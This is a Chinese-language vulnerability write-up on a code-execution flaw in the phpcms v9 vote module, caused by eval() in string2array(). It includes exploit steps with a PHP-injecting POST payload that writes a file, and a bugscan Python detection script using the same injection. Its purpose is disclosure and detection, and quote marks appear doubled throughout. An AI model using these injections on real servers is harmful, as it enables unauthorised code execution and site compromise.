phpcms前台任意代码执行漏洞(php<5.3)

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞

/phpsso_server/phpcms/libs/functions/global.func.php



/**

* 将字符串转换为数组

*

* @param    string    $data    字符串

* @return    array    返回数组格式,如果,data为空,则返回空数组

*/

function string2array($data) {

if($data == '''') return array();

eval("\$array = $data;");

return $array;

}

在文件/phpcms/modules/vote/index.php中,我们找到它的执行流程



/**

* 处理投票

*/

public function post(){

$subjectid = intval($_POST[''subjectid'']);

if(!$subjectid)    showmessage(L(''vote_novote''),''blank'');

//当前站点

$siteid = SITEID;

//判断是否已投过票,或者尚未到第二次投票期

$return = $this->check($subjectid);

switch ($return) {

case 0:

  showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");

  break;

case -1:

  showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");

  break;

}

if(!is_array($_POST[''radio''])) showmessage(L(''vote_nooption''),''blank'');

    $time = SYS_TIME;

   $data_arr = array();

  foreach($_POST[''radio''] as $radio){  //接收POST传递的radio并转换为$radio数组

  $data_arr[$radio]=''1'';

  }

  $new_data = array2string($data_arr);//转成字符串存入数据库中  

  //添加到数据库

$this->vote_data->insert(array(''userid''=>$this->userid,''username''=>$this->username,''subjectid''=>$subjectid,''time''=>$time,''ip''=>$this->ip,''data''=>$new_data));

//把字符串$new_data放到data里面

//查询投票奖励点数,并更新会员点数

$vote_arr = $this->vote->get_one(array(''subjectid''=>$subjectid));

  pc_base::load_app_class(''receipts'',''pay'',0);

receipts::point($vote_arr[''credit''],$this->userid, $this->username, '''',''selfincome'',L(''vote_post_point''));

//更新投票人数

$this->vote->update(array(''votenumber''=>''+=1''),array(''subjectid''=>$subjectid));

showmessage(L(''vote_votesucceed''), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");

}

/**

*

* 投票结果显示

*/

public function result(){

$siteid = SITEID;

$subjectid = abs(intval($_GET[''subjectid'']));

if(!$subjectid)    showmessage(L(''vote_novote''),''blank'');

//取出投票标题

$subject_arr = $this->vote->get_subject($subjectid);

if(!is_array($subject_arr)) showmessage(L(''vote_novote''),''blank'');

extract($subject_arr);

//获取投票选项

$options = $this->vote_option->get_options($subjectid);

//新建一数组用来存新组合数据

        $total = 0;

        $vote_data =array();

$vote_data[''total''] = 0 ;//所有投票选项总数

$vote_data[''votes''] = 0 ;//投票人数

//获取投票结果信息

        $infos = $this->vote_data->select(array(''subjectid''=>$subjectid),''data'');

//循环每个会员的投票记录

foreach($infos as $subjectid_arr) {

extract($subjectid_arr);

$arr = string2array($data);//调用了string2array进入eval函数

foreach($arr as $key => $values){

$vote_data[$key]+=1;

}

$total += array_sum($arr);

$vote_data[''votes'']++ ;

}

$vote_data[''total''] = $total ;

//SEO设置

$SEO = seo(SITEID, '''', $subject, $description, $subject);

   include template(''vote'',''vote_result'');

}

所以执行的过程就是

1.首先找到一个可以投票的id参数subjectid

2.发起投票,post数据



/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1

subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");

3.然后我们再查看result,触发string2array函数



/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1

4.再看看是否有readme.php文件存在。

附上一个用于bugscan检测脚本

Python



# !/usr/bin/dev python

# -*- coding:utf-8 -*-

 

import re

import urllib

import urllib2

 

 

def get_vote_links(args):

    vul_url = args

    vote_url = ''%sindex.php?m=vote'' % vul_url

    code, head, res, _, _ = curl.curl(vote_url)

    ids = []

    for miter in re.finditer(r''<a href=.*?subjectid=(?P<id>\d+)'', res, re.DOTALL):

        ids.append(miter.group(''id''))

    if len(ids) == 0:

        return None

 

    return list(set(ids))

 

 

def assign(service, args):

    if service == ''phpcms'':

        return True, args

    pass

 

 

def audit(args):

    vul_url = args

    ids = get_vote_links(args)

    if ids:

        for i in ids:

            exploit_url = ''%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1'' % (vul_url, i)

            payload = {''subjectid'': 1,

                       ''radio[]'': '');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");''}

            post_data = urllib.urlencode(payload)

            curl.curl(''-d "%s" %s'' % (post_data, exploit_url))

            verify_url = ''%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1'' % (vul_url, i)

            curl.curl(verify_url)

            shell_url = ''%sbugscan.php'' % vul_url

            code, head, res, _, _ = curl.curl(shell_url)

            if code == 200 and ''vulnerable test'' in res:

                security_hole(vul_url)

    pass

 

 

if __name__ == "__main__":

    from dummy import *

    audit(assign(''phpcms'', ''http://www.example.com/'')[1])

 

你可能感兴趣的:(phpcms)